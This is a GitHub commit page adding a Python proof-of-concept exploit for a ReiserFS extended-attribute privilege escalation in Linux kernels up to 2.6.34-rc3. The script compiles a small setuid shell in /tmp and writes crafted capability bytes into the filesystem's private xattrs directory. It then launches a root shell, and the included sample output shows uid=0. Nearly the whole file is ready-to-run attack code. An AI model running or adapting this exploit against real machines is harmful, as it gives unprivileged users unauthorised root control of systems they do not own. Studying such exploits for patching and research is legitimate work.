-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Brock
committed
Dec 26, 2014
1 parent
d20d834
commit 5ac95d5
Showing
1 changed file
with
111 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,111 @@ | ||
#!/usr/bin/env python | ||
|
||
''' | ||
team-edward.py | ||
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation | ||
Jon Oberheide <[email protected]> | ||
http://jon.oberheide.org | ||
Information: | ||
https://bugzilla.redhat.com/show_bug.cgi?id=568041 | ||
The kernel allows processes to access the internal ".reiserfs_priv" | ||
directory at the top of a reiserfs filesystem which is used to store | ||
xattrs. Permissions are not enforced in that tree, so unprivileged | ||
users can view and potentially modify the xattrs on arbitrary files. | ||
Usage: | ||
$ python team-edward.py | ||
[+] checking for reiserfs mount with user_xattr mount option | ||
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs | ||
[+] preparing shell in /tmp | ||
[+] capturing pre-shell snapshot of private xattrs directory | ||
[+] compiling shell in /tmp | ||
[+] setting dummy xattr to get reiserfs object id | ||
[+] capturing post-shell snapshot of private xattrs directory | ||
[+] found 1 new object ids | ||
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 | ||
[+] spawning setuid shell... | ||
# id | ||
uid=0(root) gid=0(root) groups=4(adm), ... | ||
Notes: | ||
Obviously requires a ReiserFS filesystem mounted with extended attributes. | ||
Tested on Ubuntu Jaunty 9.10. | ||
''' | ||
|
||
import os, sys | ||
|
||
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' | ||
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | ||
|
||
def err(txt): | ||
print '[-] error: %s' % txt | ||
sys.exit(1) | ||
|
||
def msg(txt): | ||
print '[+] %s' % txt | ||
|
||
def main(): | ||
msg('checking for reiserfs mount with user_xattr mount option') | ||
|
||
f = open('/etc/fstab') | ||
for line in f: | ||
if 'reiserfs' in line and 'user_xattr' in line: | ||
break | ||
else: | ||
err('failed to find a reiserfs mount with user_xattr') | ||
f.close() | ||
|
||
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') | ||
|
||
if not os.path.exists('/.reiserfs_priv/xattrs'): | ||
err('failed to locate private xattrs directory') | ||
|
||
msg('preparing shell in /tmp') | ||
|
||
f = open('/tmp/team-edward.c', 'w') | ||
f.write(SHELL) | ||
f.close() | ||
|
||
msg('capturing pre-shell snapshot of private xattrs directory') | ||
|
||
pre = set(os.listdir('/.reiserfs_priv/xattrs')) | ||
|
||
msg('compiling shell in /tmp') | ||
|
||
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') | ||
if ret != 0: | ||
err('error compiling shell, you need gcc') | ||
|
||
msg('setting dummy xattr to get reiserfs object id') | ||
|
||
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') | ||
if ret != 0: | ||
err('error setting xattr, you need setfattr') | ||
|
||
msg('capturing post-shell snapshot of private xattrs directory') | ||
|
||
post = set(os.listdir('/.reiserfs_priv/xattrs')) | ||
|
||
objs = post.difference(pre) | ||
|
||
msg('found %s new object ids' % len(objs)) | ||
|
||
for obj in objs: | ||
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) | ||
|
||
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') | ||
f.write(XATTR) | ||
f.close() | ||
|
||
msg('spawning setuid shell...') | ||
|
||
os.system('/tmp/team-edward') | ||
|
||
if __name__ == '__main__': | ||
main() |